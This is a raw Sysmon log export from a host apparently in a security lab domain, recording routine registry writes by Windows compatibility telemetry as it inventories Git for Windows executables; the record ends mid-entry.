14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wc.exe|8047af858fdb6703\LinkDate01/01/1970 00:00:00 13241300x800000000000000037732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wc.exe|8047af858fdb6703\Publisher(Empty) 13241300x800000000000000037731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\wc.exe|8047af858fdb6703\LowerCaseLongPathc:\program files\git\usr\bin\wc.exe 13241300x800000000000000037730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\watchgnupg.exe|4fab39cd9f6ffe71\BinProductVersion(Empty) 13241300x800000000000000037729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\watchgnupg.exe|4fab39cd9f6ffe71\LinkDate01/01/1970 00:00:00 13241300x800000000000000037728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\watchgnupg.exe|4fab39cd9f6ffe71\Publisher(Empty) 13241300x800000000000000037727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\watchgnupg.exe|4fab39cd9f6ffe71\LowerCaseLongPathc:\program files\git\usr\bin\watchgnupg.exe 13241300x800000000000000037726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vimdiff.exe|67340c9152f6152c\BinProductVersion(Empty) 13241300x800000000000000037725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vimdiff.exe|67340c9152f6152c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vimdiff.exe|67340c9152f6152c\Publisher(Empty) 13241300x800000000000000037723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vimdiff.exe|67340c9152f6152c\LowerCaseLongPathc:\program files\git\usr\bin\vimdiff.exe 13241300x800000000000000037722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vim.exe|43ed39053a824d04\BinProductVersion(Empty) 13241300x800000000000000037721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vim.exe|43ed39053a824d04\LinkDate01/01/1970 00:00:00 13241300x800000000000000037720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vim.exe|43ed39053a824d04\Publisher(Empty) 13241300x800000000000000037719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vim.exe|43ed39053a824d04\LowerCaseLongPathc:\program files\git\usr\bin\vim.exe 13241300x800000000000000037718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\view.exe|904157a959d595c9\BinProductVersion(Empty) 13241300x800000000000000037717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\view.exe|904157a959d595c9\LinkDate01/01/1970 00:00:00 13241300x800000000000000037716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\view.exe|904157a959d595c9\Publisher(Empty) 13241300x800000000000000037715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\view.exe|904157a959d595c9\LowerCaseLongPathc:\program files\git\usr\bin\view.exe 13241300x800000000000000037714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vdir.exe|d36f5c65563e728d\BinProductVersion(Empty) 13241300x800000000000000037713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vdir.exe|d36f5c65563e728d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vdir.exe|d36f5c65563e728d\Publisher(Empty) 13241300x800000000000000037711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vdir.exe|d36f5c65563e728d\LowerCaseLongPathc:\program files\git\usr\bin\vdir.exe 13241300x800000000000000037710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\users.exe|4d383589d66a4050\BinProductVersion(Empty) 13241300x800000000000000037709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\users.exe|4d383589d66a4050\LinkDate01/01/1970 00:00:00 13241300x800000000000000037708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.464{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\users.exe|4d383589d66a4050\Publisher(Empty) 13241300x800000000000000037707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\users.exe|4d383589d66a4050\LowerCaseLongPathc:\program files\git\usr\bin\users.exe 13241300x800000000000000037706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\urlget.exe|b1ac3fe6098df4f3\BinProductVersion(Empty) 13241300x800000000000000037705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\urlget.exe|b1ac3fe6098df4f3\LinkDate06/19/2025 15:30:53 13241300x800000000000000037704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\urlget.exe|b1ac3fe6098df4f3\Publisher(Empty) 13241300x800000000000000037703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\urlget.exe|b1ac3fe6098df4f3\LowerCaseLongPathc:\program files\git\usr\lib\gettext\urlget.exe 13241300x800000000000000037702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzipsfx.exe|f11926d1b5caa9e4\BinProductVersion(Empty) 13241300x800000000000000037701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzipsfx.exe|f11926d1b5caa9e4\LinkDate05/08/2031 18:06:26 13241300x800000000000000037700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzipsfx.exe|f11926d1b5caa9e4\Publisher(Empty) 13241300x800000000000000037699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzipsfx.exe|f11926d1b5caa9e4\LowerCaseLongPathc:\program files\git\usr\bin\unzipsfx.exe 13241300x800000000000000037698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzip.exe|678f320572a2cac0\BinProductVersion(Empty) 13241300x800000000000000037697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzip.exe|678f320572a2cac0\LinkDate05/08/2031 18:06:26 13241300x800000000000000037696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzip.exe|678f320572a2cac0\Publisher(Empty) 13241300x800000000000000037695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unzip.exe|678f320572a2cac0\LowerCaseLongPathc:\program files\git\usr\bin\unzip.exe 13241300x800000000000000037694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unxz.exe|af430565744d9629\BinProductVersion5.2.5.0 13241300x800000000000000037693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unxz.exe|af430565744d9629\LinkDate01/01/1970 00:00:00 13241300x800000000000000037692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unxz.exe|af430565744d9629\Publisherthe tukaani project <https://tukaani.org/> 13241300x800000000000000037691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unxz.exe|af430565744d9629\LowerCaseLongPathc:\program files\git\mingw64\bin\unxz.exe 13241300x800000000000000037690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unlink.exe|8905006f80ba665e\BinProductVersion(Empty) 13241300x800000000000000037689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unlink.exe|8905006f80ba665e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unlink.exe|8905006f80ba665e\Publisher(Empty) 13241300x800000000000000037687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unlink.exe|8905006f80ba665e\LowerCaseLongPathc:\program files\git\usr\bin\unlink.exe 13241300x800000000000000037686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2mac.exe|ce61a10675030bc2\BinProductVersion(Empty) 13241300x800000000000000037685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2mac.exe|ce61a10675030bc2\LinkDate01/01/1970 00:00:00 13241300x800000000000000037684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2mac.exe|ce61a10675030bc2\Publisher(Empty) 13241300x800000000000000037683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2mac.exe|ce61a10675030bc2\LowerCaseLongPathc:\program files\git\usr\bin\unix2mac.exe 13241300x800000000000000037682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2dos.exe|d30cb63cbe1e2952\BinProductVersion(Empty) 13241300x800000000000000037681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2dos.exe|d30cb63cbe1e2952\LinkDate01/01/1970 00:00:00 13241300x800000000000000037680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2dos.exe|d30cb63cbe1e2952\Publisher(Empty) 13241300x800000000000000037679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unix2dos.exe|d30cb63cbe1e2952\LowerCaseLongPathc:\program files\git\usr\bin\unix2dos.exe 13241300x800000000000000037678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uniq.exe|4d8db7f943d46212\BinProductVersion(Empty) 13241300x800000000000000037677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uniq.exe|4d8db7f943d46212\LinkDate01/01/1970 00:00:00 13241300x800000000000000037676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uniq.exe|4d8db7f943d46212\Publisher(Empty) 13241300x800000000000000037675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uniq.exe|4d8db7f943d46212\LowerCaseLongPathc:\program files\git\usr\bin\uniq.exe 13241300x800000000000000037674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unins000.exe|53f54630e98a3bb8\BinProductVersion2.33.0.2 13241300x800000000000000037673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unins000.exe|53f54630e98a3bb8\LinkDate11/15/2020 09:48:32 13241300x800000000000000037672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unins000.exe|53f54630e98a3bb8\Publisherthe git development community 13241300x800000000000000037671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unins000.exe|53f54630e98a3bb8\LowerCaseLongPathc:\program files\git\unins000.exe 13241300x800000000000000037670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unexpand.exe|4aa0be7d58d7a70e\BinProductVersion(Empty) 13241300x800000000000000037669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unexpand.exe|4aa0be7d58d7a70e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unexpand.exe|4aa0be7d58d7a70e\Publisher(Empty) 13241300x800000000000000037667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\unexpand.exe|4aa0be7d58d7a70e\LowerCaseLongPathc:\program files\git\usr\bin\unexpand.exe 13241300x800000000000000037666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uname.exe|aa1eb9eb8d6d257c\BinProductVersion(Empty) 13241300x800000000000000037665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uname.exe|aa1eb9eb8d6d257c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uname.exe|aa1eb9eb8d6d257c\Publisher(Empty) 13241300x800000000000000037663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uname.exe|aa1eb9eb8d6d257c\LowerCaseLongPathc:\program files\git\usr\bin\uname.exe 13241300x800000000000000037662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\umount.exe|7b6c7cea428daaaa\BinProductVersion(Empty) 13241300x800000000000000037661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\umount.exe|7b6c7cea428daaaa\LinkDate03/26/2021 22:24:41 13241300x800000000000000037660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\umount.exe|7b6c7cea428daaaa\Publisher(Empty) 13241300x800000000000000037659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 